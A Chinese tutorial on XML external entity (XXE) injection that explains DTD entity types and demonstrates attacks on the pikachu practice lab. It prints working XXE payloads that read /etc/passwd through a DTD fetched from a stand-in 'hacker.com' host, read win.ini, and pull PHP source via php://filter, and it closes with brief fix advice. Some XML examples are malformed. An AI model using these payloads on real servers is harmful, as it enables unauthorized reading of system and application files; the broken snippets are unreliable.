XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素,具体可以参考以下示例。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT mail (#PCDATA)>
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>
与 XXE 漏洞相关的主要在于文档类型定义(DTD),所以下面主要重点来介绍下 DTD。
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可以在内部或外部进行声明
实体分为以下几种类型,分别是一般实体(通用实体),参数实体
内部实体
<!ENTITY 实体名称 “实体的值”>
内部实体例子
xml version=”1.0”?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r “hu3sky”>
]>
<note>
<name>&hack3r;</name>
</note>
<!ENTITY 实体名称 SYSTEM “URI/URL”>
<?xml version=”1.0”?>
<!DOCTYPE a[
<!ENTITY name SYSTEM “http://xx.com/aa.dtd”>
]>
<a>
<name>&name;</name>
</a>
外部实体
<!ENTITY 实体名称 SYSTEM “URI/URL”>
<?xml version=”1.0”?>
<!DOCTYPE a[
<!ENTITY name SYSTEM “http://xx.com/aa.dtd”>
]>
<a>
<name>&name;</name>
</a>
xml version=’1.0’?>
<!DOCTYPE person[
<!ENTITY name “john”> <!-- ENTITY 实体名 "实体值" -->
]>
<person>
<name>&name;</name> <!--声明之后就可以通过“&实体名;”来获取-->
<age>20</age>
</person>
参数实体:它必须定义在单独的DTD区域,这种实体相对灵活">。这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
举个例子:
!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>
xxe.dtd 内容如下:
<!ENTITY evil SYSTEM "file:///etc/passwd">
上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd”,里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。
在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
XXE漏洞就是XML外部实体注入。既然是外部实体注入,那么针对于XXE漏洞肯定就是XML外部实体了。
引入外部实体方式有很多种,比如:
实体ENTITY不仅能用来存储指定数值,他还能从本地文件或者远程文件中调用相关的数据作为后续实体引用。如外部实体(XML External Entity)就是其中之一。
xml支持的伪协议:
这里使用pikachu靶场作为演示
1.首先插入xml代码判断是否存在xxe漏洞是否有回显
xml version='1.0'?> <!DOCTYPE name[ <!ENTITY hacker 'test'> ]> <name>&hacker;</name>
2.使用伪协议使用file读取文件 能读取出来就存在XXE漏洞
xml version='1.0'?> <!DOCTYPE name[ <!ENTITY hacker SYSTEM "file:///C://Windows//win.ini"> ]> <name>&hacker;</name>
3.也可以使用php://filter/read伪协议读取文件
xml version='1.0'?> <!DOCTYPE name[ <!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=xxe_1.php"> ]> <name>&hacker;</name>
针对于XXE漏洞修复两点:
1、禁止使用外部实体,例如libxml disable_entity_loader(true) 。
2、过滤用户提交的XML数据,防止出现非法内容。